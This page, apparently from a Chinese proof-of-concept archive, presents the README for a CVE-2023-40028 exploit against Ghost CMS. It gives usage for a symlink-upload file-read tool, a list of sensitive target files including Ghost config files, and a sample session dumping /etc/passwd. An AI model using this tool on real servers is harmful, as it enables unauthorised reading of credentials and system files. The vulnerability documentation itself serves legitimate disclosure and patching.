目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%

CVE-2023-40028 PoC — Ghost Foundation Ghost 后置链接漏洞

来源
关联漏洞
标题: Ghost Foundation Ghost 后置链接漏洞 (CVE-2023-40028)
Description:Ghost Foundation Ghost是Ghost开源的一款用 JavaScript 编写的个人博客系统。 Ghost 5.59.1 版本之前存在后置链接漏洞,该漏洞源于允许经过身份验证的用户上传符号链接文件。攻击者利用该漏洞可以读取任意文件。
介绍
# CVE-2023-40028

## Description

This Proof-of-Concept (POC) can be used to exploit CVE-2023-40028 to achieve file-read access in Ghost CMS.

Ghost is an open source content management system (CMS). Versions prior to 5.59.1 are subject to a vulnerability which allows authenticated users to upload files that are symlinks. This can be exploited to perform an arbitrary file read of any file on the host operating system. Site administrators can check for exploitation of this issue by looking for unknown symlinks within Ghost's `content/` folder. Version 5.59.1 contains a fix for this issue. All users are advised to upgrade. There are no known workarounds for this vulnerability.

Severity: 6.5 MEDIUM Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Some plaintext non-binary files that could be of interest:

- `/etc/hosts` Linux local-DNS resolution
- `/etc/passwd` Linux user accounts
- `/etc/group` Linux user groups
- `/var/lib/ghost/config.local.json` Ghost CMS Local Config
- `/var/lib/ghost/config.production.json` Ghost CMS Production Config

## Usage

```text
usage: ghost_fileread.py [-h] -t URL [-f FILE] [-u USERNAME] [-p PASSWORD] [-c COOKIE] [-x PROXY] [--timeout TIMEOUT] [-a USERAGENT]

POC for CVE-2023-40028 (Symlink Upload to Arbitrary File Read in Ghost CMS)

options:
  -h, --help            show this help message and exit
  -t URL, --url URL     Target Ghost CMS URL (e.g., http://target-ghost-cms)
  -f FILE, --file FILE  File path to read
  -u USERNAME, --username USERNAME
                        Username for authentication
  -p PASSWORD, --password PASSWORD
                        Password for authentication
  -c COOKIE, --cookie COOKIE
                        Cookie for authentication
  -x PROXY, --proxy PROXY
                        HTTP(s) proxy to use when sending requests (i.e. -p http://127.0.0.1:8080)
  --timeout TIMEOUT     Request timeout
  -a USERAGENT, --useragent USERAGENT
                        User agent to use when sending requests
```

## Example

```sh
$ python3 ghost_fileread.py -t http://<url> -u '<username>' -p '<password>'                                      
[*] Checking authentication (username/password) ...
[+] Admin session created successfully.

Welcome to the Ghost file-read shell. Type help or ? to list commands.

file> /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash
```

## References

- [NIST CVE-2023-40028](https://nvd.nist.gov/vuln/detail/CVE-2023-40028)
- [Git Commit Fix](https://github.com/TryGhost/Ghost/commit/690fbf3f7302ff3f77159c0795928bdd20f41205)
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →